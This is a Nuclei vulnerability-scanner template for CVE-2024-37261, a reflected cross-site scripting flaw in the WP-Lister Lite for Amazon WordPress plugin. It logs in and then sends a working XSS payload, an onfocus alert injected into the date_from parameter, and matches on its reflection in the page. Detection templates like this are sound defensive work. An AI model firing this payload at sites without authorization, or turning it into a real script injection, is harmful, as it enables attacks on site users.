id: CVE-2024-37261

info:
  name: WP-Lister Lite for Amazon <= 2.6.16 - Cross-Site Scripting
  author: Kazgangap
  severity: medium
  description: |
    The WP-Lister Lite for Amazon plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 2.6.16 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
  reference:
    - https://patchstack.com/database/vulnerability/wp-lister-for-amazon/wordpress-wp-lister-lite-for-amazon-plugin-2-6-16-reflected-cross-site-scripting-xss-vulnerability
    - https://wordpress.org/plugins/wp-lister-for-amazon/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37261
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-37261
    epss-score: 0.17493
    epss-percentile: 0.9517
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: wplab
    product: wp-lister-lite-for-amazon
  tags: cve,cve2024,wordpress,wp,wp-plugin,wp-lister-for-amazon,xss,vkev,authenticated

variables:
  rand: '{{to_lower(rand_text_alpha(12))}}'

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=wpla-tools&tab=stock_log&date_from={{rand}}%22+autofocus+onfocus%3D%22alert%28document.domain%29%22+x%3D%22 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="{{rand}}\" autofocus onfocus=\"alert(document.domain)\"'
          - 'name="date_from"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c480d699f0655fdbaa7bf7683565a8fffa832dfbec6f853bd724a553e6e6486d022100d18f85f47d52a7cb6e948c2c2246865bd509e8bfb16bbf190caf6c2679d541f6:922c64590222798bb761d5b6d8e72950